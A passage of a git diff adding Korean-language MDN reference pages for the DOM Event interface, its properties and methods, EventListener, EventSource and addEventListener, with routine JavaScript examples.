참고: 하나의 요소는 다수의 처리기를 가질 수 있습니다. 완전히 동일한 이벤트에 대해서도, 예컨대 광고 모듈과 통계 모듈이 각각 비디오 시청을 추적하는 등 여러 처리기를 따로 등록할 수 있습니다.

+
+ +

중첩된 많은 요소가 서로 자신만의 처리기를 가지고 있는 경우 이벤트 처리가 매우 복잡해질 수 있습니다. 특히 부모 요소와 자식 요소의 "공간 상 위치"가 겹쳐서 이벤트가 양쪽 모두에서 발생하는 경우, 이벤트 처리 순서는 각 처리기의 이벤트 확산과 캡처 설정에 따라 달라집니다.

+ +

Event 기반 인터페이스

+ +

다음은 Event 인터페이스에서 파생된 인터페이스의 목록입니다.

+ +

모든 이벤트 인터페이스 이름은 "Event"로 끝납니다.

+ +
+ +
+ +

생성자

+ +
+
{{domxref("Event.Event", "Event()")}}
+
Event 객체를 생성하고 반환합니다.
+
+ +

속성

+ +
+
{{domxref("Event.bubbles")}} {{readonlyinline}}
+
이벤트가 DOM을 타고 위로 확산되는지 나타냅니다.
+
{{domxref("Event.cancelBubble")}}
+
{{domxref("Event.stopPropagation()")}}의 이명으로, 과거에 사용하던 명칭입니다. 이벤트 처리기가 종료되기 전에 값을 true로 설정하면 더 이상의 확산을 막습니다.
+
{{domxref("Event.cancelable")}} {{readonlyinline}}
+
이벤트를 취소할 수 있는지 나타냅니다.
+
{{domxref("Event.composed")}} {{ReadOnlyInline}}
+
이벤트가 섀도 DOM과 일반 DOM의 경계를 넘어 확산할 수 있는지 나타내는 불리언입니다.
+
{{domxref("Event.currentTarget")}} {{readonlyinline}}
+
이벤트를 위해 현재 등록된 대상의 참조. 이벤트가 현재 전달되기로한 객체입니다. 재 타게팅을 통해 변경될수도 있습니다.
+
{{domxref("Event.deepPath")}} {{non-standard_inline}}
+
이벤트가 확산하며 거쳐간 DOM {{domxref("Node")}}의 {{jsxref("Array")}}입니다.
+
{{domxref("Event.defaultPrevented")}} {{readonlyinline}}
+
이벤트의 {{domxref("event.preventDefault()")}}가 호출됐는지를 나타냅니다.
+
{{domxref("Event.eventPhase")}} {{readonlyinline}}
+
처리 중인 이벤트 흐름의 단계를 나타냅니다.
+
{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
이벤트의 명시적인 원래 대상입니다. (Mozilla 전용)
+
{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
이벤트 대상 재설정 이전의 원래 대상입니다. (Mozilla 전용)
+
{{domxref("Event.returnValue")}}
+
Internet Explorer가 도입했으며 구형 사이트의 동작을 보장하기 위해 DOM 명세에 포함된 호환용 속성입니다. 이상적으로는 {{domxref("Event.preventDefault()")}}와 {{domxref("Event.defaultPrevented")}}를 사용해야 하지만, 원하면 returnValue를 사용할 수 있습니다.
+
{{domxref("Event.srcElement")}} {{non-standard_inline}}
+
구버전 Internet Explorer에서 사용한 {{domxref("Event.target")}}의 다른 이름입니다. 비표준이지만 일부 다른 브라우저에서도 호환성을 위해 지원하고 있습니다.
+
{{domxref("Event.target")}} {{readonlyinline}}
+
이벤트가 처음에 발생했던 대상의 참조입니다.
+
{{domxref("Event.timeStamp")}} {{readonlyinline}}
+
이벤트가 생성된 시간(밀리초)입니다. 명세에 따르면 문서 로딩 후 이벤트 생성 시점까지의 시간으로 나타나 있지만 실제 구현은 브라우저마다 다릅니다. 또한 이 속성의 값을 {{domxref("DOMHighResTimeStamp")}}로 바꾸는 작업이 진행 중입니다.
+
{{domxref("Event.type")}} {{readonlyinline}}
+
이벤트의 이름입니다. 대소문자를 구분하지 않습니다.
+
{{domxref("Event.isTrusted")}} {{readonlyinline}}
+
이벤트가 브라우저에 의해 생성, 예컨대 사용자 클릭으로 인해 발생한 것인지, 아니면 {{domxref("Event.initEvent()")}} 등을 사용한 스크립트에서 발생한 것인지 나타냅니다.
+
+ + + +

메서드

+ +
+
{{domxref("Event.composedPath()")}}
+
이벤트의 경로, 즉 수신기를 발동할 모든 객체를 반환합니다. 섀도우 루트의 {{domxref("ShadowRoot.mode")}}가 closed인 경우 섀도우 트리의 노드는 포함하지 않습니다.
+
{{domxref("Event.preventDefault()")}}
+
취소 가능한 경우 이벤트를 취소합니다.
+
{{domxref("Event.stopImmediatePropagation()")}}
+
이 특정 이벤트에 대해서 다른 모든 수신기의 호출을 방지합니다. 같은 요소에 부착된 수신기는 물론 캡처 단계 등 이후에 순회활 요소에 부착된 수신기도 이 이벤트를 받지 않습니다.
+
{{domxref("Event.stopPropagation()")}}
+
이벤트의 DOM 내 추가 확산을 방지합니다.
+
+ + + +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/event/istrusted/index.html b/files/ko/web/api/event/istrusted/index.html new file mode 100644 index 0000000000..afce93c401 --- /dev/null +++ b/files/ko/web/api/event/istrusted/index.html @@ -0,0 +1,61 @@ +--- +title: Event.isTrusted +slug: Web/API/Event/isTrusted +tags: + - API + - Event + - Property + - Read-only + - Reference + - 속성 + - 이벤트 +translation_of: Web/API/Event/isTrusted +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Event")}} 인터페이스의 읽기 전용 속성인 isTrusted는, 이벤트가 사용자 행위에 의하여 발생되었으면 true이고 이벤트가 스크립트로 인해 생성 또는 수정되었거나 dispatchEvent를 통해 보내졌으면 false인 논리 값입니다. 이것이 true인 이벤트는 신뢰된다고 표현합니다.

+ +

구문

+ +
var bool = event.isTrusted;
+
+ +

예제

+ +
 if(event.isTrusted)
+ {
+    // 이 이벤트는 신뢰됩니다.
+ }
+ else
+ {
+    // 이 이벤트는 신뢰되지 않습니다.
+ }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}{{Spec2('DOM3 Events')}}이벤트가 신뢰되기 위한 요건을 추가하였으나 isTrusted 속성을 정의하지는 않았습니다.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Event.isTrusted")}}

diff --git a/files/ko/web/api/event/preventdefault/index.html b/files/ko/web/api/event/preventdefault/index.html new file mode 100644 index 0000000000..71f4fdb229 --- /dev/null +++ b/files/ko/web/api/event/preventdefault/index.html @@ -0,0 +1,93 @@ +--- +title: event.preventDefault +slug: Web/API/Event/preventDefault +translation_of: Web/API/Event/preventDefault +--- +

{{ ApiRef() }}

+ +

개요

+ +

이벤트를 취소할 수 있는 경우, 이벤트의 전파를 막지않고 그 이벤트를 취소합니다.

+ +

구문

+ +
event.preventDefault()
+
+ +

예제

+ +

다음의 예제에서는 체크박스를 클릭했을 때 발생하는 동작을 멈추는 방법을 살펴보겠습니다. 

+ +
<html>
+<head>
+<title>preventDefault 예제</title>
+
+<script type="text/javascript">
+
+function stopDefAction(evt) {
+  evt.preventDefault();
+}
+</script>
+</head>
+
+<body>
+
+<p>체크박스 컨트롤을 클릭해 주세요</p>
+
+<form>
+<input type="checkbox" onclick="stopDefAction(event);"/>
+<label for="checkbox">체크박스</label>
+</form>
+
+</body>
+</html>
+
+ +

preventDefault의 예제를 여기에서 확인할 수 있습니다.

+ +

아래의 예제에서는, preventDefault() 를 사용해서 올바르지 않은 텍스트가 입력란에 입력되는것을 막는 방법을 설명하고 있습니다.

+ +
<html>
+<head>
+<title>preventDefault 예제</title>
+
+<script type="text/javascript">
+
+function checkName(evt) {
+var charCode = evt.charCode;
+
+  if (charCode != 0) {
+    if (charCode < 97 || charCode > 122) {
+      evt.preventDefault();
+      alert("소문자만 입력할 수 있습니다." + "\n"
+            + "charCode: " + charCode + "\n"
+      );
+    }
+  }
+}
+
+</script>
+</head>
+
+<body>
+
+<p>당신의 이름을 소문자만으로 입력해주세요.</p>
+<form>
+<input type="text" onkeypress="checkName(event);"/>
+</form>
+
+</body>
+</html>
+
+ +

주의

+ +

이벤트를 취소하는 도중에 preventDefault를 호출하게되면, 일반적으로는 브라우저의 구현에 의해 처리되는 기존의 액션이 동작하지 않게되고, 그 결과 이벤트가 발생하지 않게됩니다.

+ +

이벤트의 취소가능 여부는 event.cancelable를 사용해서 확인할 수 있습니다. 취소불가능한 이벤트에 대해서 preventDefault를 호출해도 결과는 없습니다.

+ +

preventDefault는 DOM을 통한 이벤트의 전파를 막지않습니다. 전파를 막을때는 event.stopPropagation를 사용해주세요.

+ +

사양

+ +

DOM Level 2 Events: preventDefault

diff --git a/files/ko/web/api/event/stopimmediatepropagation/index.html b/files/ko/web/api/event/stopimmediatepropagation/index.html new file mode 100644 index 0000000000..6c2bc93b84 --- /dev/null +++ b/files/ko/web/api/event/stopimmediatepropagation/index.html @@ -0,0 +1,91 @@ +--- +title: Event.stopImmediatePropagation() +slug: Web/API/Event/stopImmediatePropagation +translation_of: Web/API/Event/stopImmediatePropagation +--- +
{{APIRef("DOM")}}
+ +

event.stopImmediatePropagation() 는 같은 이벤트에서 다른 리스너들이 불려지는 것을 막습니다. 

+ +

문법

+ +
event.stopImmediatePropagation();
+
+ +

주석

+ +

만약  다양한 리스너들이 같은 이벤트타입을 위한 같은 요소에 소속되어 있다면 그들은 추가 된 순서대로 불리게 될 것입니다. 만약 event.stopImmediatePropagation()을 호출하면, 남아있는 리스너들이 불리는 일이 없을 것입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}{{Spec2('DOM WHATWG')}} 
{{SpecName('DOM4', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}{{Spec2('DOM4')}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("6.0")}}{{CompatGeckoDesktop("10.0")}}{{CompatIE(9.0)}}{{CompatOpera("15.0")}}{{CompatSafari("5.0")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ko/web/api/event/stoppropagation/index.html b/files/ko/web/api/event/stoppropagation/index.html new file mode 100644 index 0000000000..bead1eceb9 --- /dev/null +++ b/files/ko/web/api/event/stoppropagation/index.html @@ -0,0 +1,99 @@ +--- +title: Event.stopPropagation() +slug: Web/API/Event/stopPropagation +translation_of: Web/API/Event/stopPropagation +--- +
{{APIRef("DOM")}}
+ +

이벤트 캡쳐링과 버블링에 있어 현재 이벤트 이후의 전파를 막습니다.

+ +

문법

+ +
event.stopPropagation();
+ +

예시

+ +

DOM에서 이 방법과 이벤트 전파의 더욱 상세한 예시를 위한 예제 5:  Event Propagation 를 보세요.

+ +

주석

+ +

이벤트 흐름의 설명을 위한 DOM 명세 를 보세요. ( DOM 레벨 3 이벤트 초안에는 삽화가 들어가 있습니다.)

+ +

preventDefault는 이벤트의 기본적인 동작(캡쳐링과 버블링)이 일어나는 것을 막기위해 보완적으로 사용되는 방법입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ko/web/api/event/target/index.html b/files/ko/web/api/event/target/index.html new file mode 100644 index 0000000000..02fbdd8726 --- /dev/null +++ b/files/ko/web/api/event/target/index.html @@ -0,0 +1,96 @@ +--- +title: Event.target +slug: Web/API/Event/target +tags: + - 돔 + - 레퍼런스 + - 속성 + - 이벤트 + - 타겟 +translation_of: Web/API/Event/target +--- +

{{ApiRef("DOM")}}

+ +

{{domxref("Event")}} interface의 target 속성은  event가 전달한 객체에 대한 참조입니다. 이는 이벤트의 버블링 또는 캡처 단계에서 이벤트 핸들러를 호출하는 {{domxref("Event.currentTarget")}}와 다릅니다.

+ +

Syntax

+ +
theTarget = event.target
+ +

Value

+ +

{{domxref("EventTarget")}}

+ +

Example

+ +

event.target 속성을 사용하여 event delegation을 구현할 수 있습니다.

+ +
// Make a list
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target refers to the clicked <li> element
+  // This is different than e.currentTarget which would refer to the parent <ul> in this context
+  e.target.style.visibility = 'hidden';
+}
+
+// Attach the listener to the list
+// It will fire when each <li> is clicked
+ul.addEventListener('click', hide, false);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM4", "#dom-event-target", "Event.target")}}{{Spec2("DOM4")}}
{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Event.target")}}

+ +

Compatibility notes

+ +

On IE 6-8 the event model is different. Event listeners are attached with the non-standard {{domxref('EventTarget.attachEvent')}} method. In this model, the event object has a {{domxref('Event.srcElement')}} property, instead of the target property, and it has the same semantics as event.target.

+ +
function hide(e) {
+  // Support IE6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+
+ +

See also

+ + diff --git a/files/ko/web/api/eventlistener/index.html b/files/ko/web/api/eventlistener/index.html new file mode 100644 index 0000000000..ca59ea3c43 --- /dev/null +++ b/files/ko/web/api/eventlistener/index.html @@ -0,0 +1,84 @@ +--- +title: EventListener +slug: Web/API/EventListener +translation_of: Web/API/EventListener +--- +
{{APIRef("DOM Events")}}
+ +

EventListener 인터페이스는 {{domxref("EventTarget")}} 객체로부터 발생한 이벤트를  처리하기 위한 오브젝트를 말합니다.

+ +
+

Note: 레거시 코드와의 호환성을 유지하기 위해서, EventListener 는 함수 혹은 handleEvent() 함수를 가진 오브젝트를 인자로 받습니다.  아래의 예제에서 확인해보세요.

+
+ +

속성

+ +

이 인터페이스는 구현체나, 상속, 속성 어떤것도 갖고 있지 않습니다.

+ +

메소드

+ +

이 인터페이스는 어떤 메소드도 상속받지 않습니다.

+ +
+
{{domxref("EventListener.handleEvent()")}}
+
주어진 타입의 이벤트가 발생할 때마다 호출될 함수입니다.
+
+ +

예제

+ +

HTML

+ +
<button id="btn">여기를 눌러보세요!</button>
+ +

JavaScript

+ +
const buttonElement = document.getElementById('btn');
+
+// 콜백 함수를 제공함으로써 '클릭' 이벤트를 처리하는 핸들러를 추가합니다.
+// 엘리먼트가 클릭될 떄마다, "누름!" 팝업이 나타날것입니다.
+buttonElement.addEventListener('click', function (event) {
+  alert('누름!');
+});
+
+// 호환성을 위해서, 함수가 아닌 `handleEvent` 속성을 가진 오브젝트도
+// 똑같이 처리됩니다.
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('handleEvent 함수로 누름!');
+  }
+});
+
+ +

Result

+ +

{{EmbedLiveSample('Example')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#callbackdef-eventlistener', 'EventListener')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Events', '#Events-EventListener', 'EventListener')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.EventListener")}}

diff --git a/files/ko/web/api/eventsource/eventsource/index.html b/files/ko/web/api/eventsource/eventsource/index.html new file mode 100644 index 0000000000..dc285494a4 --- /dev/null +++ b/files/ko/web/api/eventsource/eventsource/index.html @@ -0,0 +1,79 @@ +--- +title: EventSource() +slug: Web/API/EventSource/EventSource +tags: + - API + - EventSource + - 레퍼런스 + - 생성자 + - 서버 전송 이벤트 +translation_of: Web/API/EventSource/EventSource +--- +
{{APIRef('WebSockets API')}}
+ +

EventSource() 생성자는 원격 자원을 나타내는 새롭게 생성된 {{domxref("EventSource")}} 를 반환합니다.

+ +

구문

+ +
eventSource = new EventSource(url, configuration);
+ +

파라미터

+ +
+
url
+
이벤트/메시지를 제공하는 원격 자원의 위치를 나타내는 {{domxref("USVString")}} 입니다.
+
configuration {{optional_inline}}
+
새 연결 구성을 위한 옵션을 제공합니다. 가능한 항목은 다음과 같습니다. +
    +
  • withCredentials. 기본값은 false 이며, CORS 가 자격을 포함하도록 설정되어야하는지를 나타냅니다.
  • +
+
+
+ +

예시

+ +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +
+

노트: GitHub 에서 전체 예시를 확인할 수 있습니다 — Simple SSE demo using PHP를 사용하는 간단한 SSE 데모를 보세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}{{Spec2('HTML WHATWG')}}초기 정의
+ + + +

브라우저 호환성

+ + + +

{{Compat("api.EventSource.EventSource")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/eventsource/index.html b/files/ko/web/api/eventsource/index.html new file mode 100644 index 0000000000..9d0df03b5d --- /dev/null +++ b/files/ko/web/api/eventsource/index.html @@ -0,0 +1,121 @@ +--- +title: EventSource +slug: Web/API/EventSource +tags: + - API + - Communications + - EventSource + - Interface + - NeedsTranslation + - Reference + - Server Sent Events + - Server-sent events + - TopicStub + - messaging +translation_of: Web/API/EventSource +--- +
{{APIRef("Server Sent Events")}}
+ +

EventSource 인터페이스는 server-sent events에 대한 웹 콘텐츠 인터페이스입니다. EventSource 인스턴스는 text/event-stream 포맷으로 이벤트를 보내는 HTTP 서버에 지속적인 연결을 합니다. 연결은{{domxref("EventSource.close()")}} 호출로 종료되지 전까지 지속됩니다.

+ +

연결이 시작되었을 때, 서버로부터 들어오는 메세지들은 이벤트의 형태로 코드에 전달됩니다. 들어온 메시지에 이벤트 필드가 있다면, 트리거된 이벤트는 이벤트 필드의 값과 같게 됩니다. 만약 이벤트 필드가 비어있다면, 그 땐 제네릭 {{event("message")}} 이벤트가 발생됩니다.

+ +

웹소켓과 다르게, server-sent 이벤트는 단방향입니다. 데이터 메시지가 서버에서 클라이언트로 (유저의 웹 브라우저 같은) 한 방향으로 전달되는 것입니다. 이 특징은 클라이언트에서 서버로 메시지 형태로 데이터를 보낼 필요가 없을 때, server-sent 이벤트를 훌륭한 선택으로 만든다. 예를 들어,  EventSource 는 소셜 미디어 상태 업데이트, 뉴스피드나 IndexedDB나 web storage같은 클라이언트-사이드 저장 매커니즘으로 데이터를 전달하는 데 유용한 접근법입니다.

+ +
+
+ +

Constructor

+ +
+
{{domxref("EventSource.EventSource", "EventSource()")}}
+
Creates a new EventSource to handle receiving server-sent events from a specified URL, optionally in credentials mode.
+
+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("EventTarget")}}.

+ +
+
{{domxref("EventSource.readyState")}} {{readonlyinline}}
+
A number representing the state of the connection. Possible values are CONNECTING (0), OPEN (1), or CLOSED (2).
+
{{domxref("EventSource.url")}} {{readonlyinline}}
+
A {{domxref("DOMString")}} representing the URL of the source.
+
{{domxref("EventSource.withCredentials")}} {{readonlyinline}}
+
A {{domxref("Boolean")}} indicating whether the EventSource object was instantiated with cross-origin (CORS) credentials set (true), or not (false, the default).
+
+ +

Event handlers

+ +
+
{{domxref("EventSource.onerror")}}
+
Is an {{domxref("EventHandler")}} called when an error occurs and the {{event("error")}} event is dispatched on an EventSource object.
+
{{domxref("EventSource.onmessage")}}
+
Is an {{domxref("EventHandler")}} called when a {{event("message")}} event is received, that is when a message is coming from the source.
+
{{domxref("EventSource.onopen")}}
+
Is an {{domxref("EventHandler")}} called when an {{event("open")}} event is received, that is when the connection was just opened.
+
+ +

Methods

+ +

이 인터페이스는 부모인 {{domxref("EventTarget")}}으로부터 메소드를 상속받고 있습니다.

+ +
+
{{domxref("EventSource.close()")}}
+
Closes the connection, if any, and sets the readyState attribute to CLOSED. If the connection is already closed, the method does nothing.
+
+ +

예시

+ +

이 기초적인 예시에서, EventSource는 서버로 부터 받은 이벤트로 생성되었습니다; "sse.php"라는 이름을 가진 페이지는 이벤트를 생성할 책임이 있습니다.

+ +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +

각각의 수신한 이벤트는 우리의  EventSource 객체의 onmessage 이벤트 핸들러가 실행되도록 합니다. 차례가 되었을 때, 새로운 {{HTMLElement("li")}} 요소를 생성하고, 메시지 데이터를 안에 작성합니다. 그 때, 문서에 이미 존재하는 ul 요소에 새로운 요소를 추가하게 됩니다.

+ +
+

Note: You can find a full example on GitHub — see Simple SSE demo using PHP.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}{{Spec2('HTML WHATWG')}}
+ + + +

Browser compatibility

+ +
+ + +

{{Compat("api.EventSource")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/eventtarget/addeventlistener/index.html b/files/ko/web/api/eventtarget/addeventlistener/index.html new file mode 100644 index 0000000000..2e824e174b --- /dev/null +++ b/files/ko/web/api/eventtarget/addeventlistener/index.html @@ -0,0 +1,690 @@ +--- +title: EventTarget.addEventListener() +slug: Web/API/EventTarget/addEventListener +tags: + - API + - DOM + - Event Handlers + - Event Listener + - EventTarget + - JavaScript + - Method + - Reference +translation_of: Web/API/EventTarget/addEventListener +--- +
{{APIRef("DOM Events")}}
+ +

{{domxref("EventTarget")}}의 addEventListener() 메서드는 지정한 이벤트가 대상에 전달될 때마다 호출할 함수를 설정합니다. 일반적인 대상은 {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}지만, {{domxref("XMLHttpRequest")}}와 같이 이벤트를 지원하는 모든 객체를 대상으로 지정할 수 있습니다.

+ +

addEventListener()는 {{domxref("EventTarget")}}의 주어진 이벤트 유형에, {{domxref("EventListener")}}를 구현한 함수 또는 객체를 이벤트 처리기 목록에 추가해 작동합니다.

+ +

구문

+ +
target.addEventListener(type, listener[, options]);
+target.addEventListener(type, listener[, useCapture]);
+target.addEventListener(type, listener[, useCapture, wantsUntrusted {{Non-standard_inline}}]); // Gecko/Mozilla only
+ +

매개변수

+ +
+
type
+
반응할 이벤트 유형을 나타내는 대소문자 구분 문자열.
+
listener
+
지정된 타입의 이벤트가 발생했을 때, 알림({{domxref("Event")}} 인터페이스를 구현하는 객체)을 받는 객체입니다. {{domxref("EventListener")}} 인터페이스 또는 JavaScript function를 구현하는 객체여야만 합니다. 콜백 자체에 대한 자세한 내용은 {{anch("The event listener callback")}} 를 참조하세요.
+
options {{optional_inline}}
+
이벤트 리스너에 대한 특성을 지정하는 옵션 객체입니다. 사용 가능한 옵션은 다음과 같습니다 : +
    +
  • capture: DOM 트리의 하단에 있는 EventTarget 으로 전송하기 전에, 등록된 listener 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다.
  • +
  • once: 리스너를 추가한 후 한 번만 호출되어야 함을 나타내는 {{jsxref("Boolean")}}입니다. true이면 호출할 때 listener 가 자동으로 삭제됩니다.
  • +
  • passive: true일 경우, listener에서 지정한 함수가 {{domxref("Event.preventDefault", "preventDefault()")}}를 호출하지 않음을 나타내는 {{jsxref("Boolean")}}입니다. passive listener 가 preventDefault()를 호출하면 user agent는 콘솔 경고를 생성하는 것 외의 작업은 수행하지 않습니다. 자세한 내용은 {{anch("Improving scrolling performance with passive listeners")}} 를 참조하세요.
  • +
  • {{non-standard_inline}} mozSystemGroup: listener를 시스템 그룹에 추가해야함을 나타내는 {{jsxref("Boolean")}} 입니다. 오직 XBL 혹은 파이어폭스 브라우저의 {{glossary("chrome")}}에서 실행되는 코드에서만 사용할 수 있습니다.
  • +
+
+
useCapture {{optional_inline}}
+
DOM 트리의 하단에 있는 EventTarget 으로 전송하기 전에, 등록된 listener 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다. 트리에서 위쪽으로 버블링되는 이벤트는 캡처를 사용하도록, 지정된 listener를 트리거하지 않습니다. 이벤트 버블링과 캡쳐는 두 요소(엘리먼트)가 해당 이벤트에 대한 핸들(함수)를 등록한 경우, 다른 요소 내에 중첩된 요소에서 발생하는 이벤트를 전파하는 두 가지 방법 입니다. 이벤트 전파 모드는 요소가 이벤트를 수신하는 순서를 판별합니다. 자세한 설명은 DOM Level 3 Events 과 JavaScript Event order 를 참조하세요. 값을 지정하지 않으면, useCapture 의 기본값은 false 입니다.
+
+
참고: 이벤트 타겟에 연결된 이벤트 리스너의 경우, 이벤트는 캡쳐링과 버블링 단계가 아니라 타겟 단계에 있습니다. 타겟 단계의 이벤트는 useCapture 매개변수(파라미터)와 상관없이, 그들이 등록된 순서대로 요소의 모든 리스너를 트리거합니다.
+ +
참고: useCapture 가 항상 선택사항인 것은 아닙니다. 가장 광범위한 브라우저 호환성을 위해 포함시키는 것이 좋습니다.
+
+
wantsUntrusted {{Non-standard_inline}}
+
파이어폭스(겍코) 명세의 매개변수 입니다. true의 경우, 리스너는 웹 컨텐츠에 의해 dispatch되는 합성 이벤트를 수신합니다. (기본값은 {{glossary("chrome")}} 브라우저의 경우 false , 보통의 웹 페이지에서는 true입니다.) 이 매개 변수는 브라우저 자체 뿐만 아니라, 에드온에게도 유용합니다.
+
+ +

Usage notes

+ +

이벤트 리스너 콜백

+ +

이벤트 리스너는 콜백 함수로 지정할 수 있습니다. 또는 {{domxref("EventListener.handleEvent", "handleEvent()")}} 메서드가 콜백 함수 역할을 하는 {{domxref("EventListener")}}를 구현하는 객체로 지정할 수 있습니다.

+ +

콜백 함수 자체는 handleEvent() 메서드와 동일한 매개 변수와 반환값을 가집니다. 즉, 콜백은 단일 매개 변수를 허용합니다: 발생한 이벤트를 설명하는 {{domxref("Event")}}에 기반한 객체이며, 아무것도 반환하지 않습니다.

+ +

예를들어 {{event("fullscreenchange")}} 와 {{event("fullscreenerror")}}를 처리하는데 사용할 수 있는 이벤트 핸들러 콜백은 다음과 같습니다:

+ +
function eventHandler(event) {
+  if (event.type == 'fullscreenchange') {
+    /* handle a full screen toggle */
+  } else /* fullscreenerror */ {
+    /* handle a full screen toggle error */
+  }
+}
+ +

옵션 지원을 안전하게 감지

+ +

이전 버전의 DOM 명세에선, addEventListener()의 세 번째 매개 변수는 캡쳐의 사용여부를 나타내는 Boolean값 이었습니다. 시간이 지남에 따라 더 많은 옵션이 필요하다는 것이 분명 해졌습니다. 함수에 매개 변수를 추가하는 대신 (옵션값을 처리할 때 엄청나게 복잡한 작업), 세 번째 매개 변수는 다양한 속성을 포함 할 수 있는 객체로 변경되었습니다. 이 객체는 이벤트 리스너를 제거하는 프로세스를 구성하는 옵션값을 정의할 수 있습니다.

+ +

지난 버전의 브라우저(뿐만 아니라 너무 오래된 브라우저)에서는 여전히 세 번째 매개 변수가 Boolean 이라고 가정하고 시나리오를 지능적으로 처리할 코드를 작성해야 합니다. 관심있는 각 옵션에 대해 기능 감지를 사용하여 이 작업을 수행할 수 있습니다.

+ +

예를들어서, passive 옵션을 확인하려면 다음과 같이 하세요 :

+ +
var passiveSupported = false;
+
+try {
+  var options = {
+    get passive() { // This function will be called when the browser
+                    //     attempts to access the passive property.
+      passiveSupported = true;
+    }
+  };
+
+  window.addEventListener("test", options, options);
+  window.removeEventListener("test", options, options);
+} catch(err) {
+  passiveSupported = false;
+}
+ +

이렇게 하면 passive 속성(프로퍼티)에 대한 getter함수를 사용하여 options 객체가 만들어집니다; get을 호출 할 경우 gtter는 플래그 passiveSupportedtrue로 설정합니다. 즉, 브라우저가 options 객체의 passive 속성 값을 검사하면 passiveSupportedtrue로 설정됩니다; 그렇지 않으면 false가 유지됩니다. 그리고 addEventListener()를 호출하여 가짜 이벤트 핸들러를 설정합니다. 해당 옵션을 지정하여 브라우저가 객체를 세 번째 매개 변수로 인식하면 옵션을 확인합니다. 그런 다음 removeEventListener() 를 호출하여 스스로 정리합니다. (handleEvent()는 호출되지 않은 이벤트 리스너에서는 무시됩니다.) 

+ +

이 방법으로 지원되는 옵션이 있는지 확인할 수 있습니다. 위와 비슷한 코드를 사용하여 해당 옵션에 대한 getter를 추가하기 만하면됩니다.

+ +

